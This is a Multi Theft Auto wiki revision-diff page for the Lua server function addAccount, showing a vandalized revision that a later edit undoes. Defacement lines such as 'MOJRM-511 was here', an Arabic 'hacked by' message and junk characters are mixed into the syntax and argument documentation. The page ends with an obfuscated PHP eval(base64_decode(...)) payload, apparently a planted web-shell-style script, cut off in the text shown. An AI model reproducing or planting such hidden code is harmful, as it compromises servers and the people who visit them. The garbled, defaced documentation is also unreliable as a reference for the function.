AddAccount: Difference between revisions

From Multi Theft Auto: Wiki
Jump to navigation Jump to search
(Undo revision 36260 by MOJRM-511 (talk))
Line 3: Line 3:
This function adds an [[account]] to the list of registered accounts of the current server.
This function adds an [[account]] to the list of registered accounts of the current server.


MOJRM-511 was here
==Syntax==
<!-- NOTE: don't use 'special' names for variable names, e.g. you shouldn't be writing things like 'player player, vehicle vehicle', instead write something like 'player thePlayer, vehicle vehicleToGetInto'. This is less confusing and prevents the syntax highlighting being odd -->
{{New feature/item|3|1.0|848|
<syntaxhighlight lang="lua">
account addAccount ( string name, string pass )
</syntaxhighlight>
}}
{{Deprecated_feature|3|1.0|
<syntaxhighlight lang="lua">
bool addAccount ( string name, string pass )
</syntaxhighlight>
}}


تم الاختراق من قبل مجرم511
===Required Arguments===
خهخخخخخخخخخخخخخخخخ
<!-- List each argument one per line. This should be the argument's name as in the argument list above, NOT the argument's data type -->
*'''name:''' The name of the account you wish to make, this normally is the player's name.
*'''pass:''' The password to set for this account for future logins.
 
===Returns===
<!-- Make this descriptive. Explain what cases will return false. If you're unsure, add a tag to it so we can check -->
{{New feature|3|1.0 r848|
Returns an [[account]] or ''false'' if the account already exists or an error occured.
}}
{{Deprecated_feature|3|1.0|
Returns ''true'' if the account was created, ''false'' if the account already exists or an error occured.
}}


'''
'''

Revision as of 00:10, 2 June 2013

This function adds an account to the list of registered accounts of the current server.

Syntax

account addAccount ( string name, string pass )

Required Arguments

  • name: The name of the account you wish to make, this normally is the player's name.
  • pass: The password to set for this account for future logins.

Returns

Returns an account or false if the account already exists or an error occured.

== == تم الاختراق من قبل مجرم511


MOJRM-511 was here ==

==

<? eval(base64_decode('Ly9TdGFydGluZyBjYWxscwppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZ2V0bWljcm90aW1lIikpIHtmdW5jdGlvbiBnZXRtaWNyb3RpbWUoKSB7bGlzdCgkdXNlYywgJHNlYykgPSBleHBsb2RlKCIgIiwgbWljcm90aW1lKCkpOyByZXR1cm4gKChmbG9hdCk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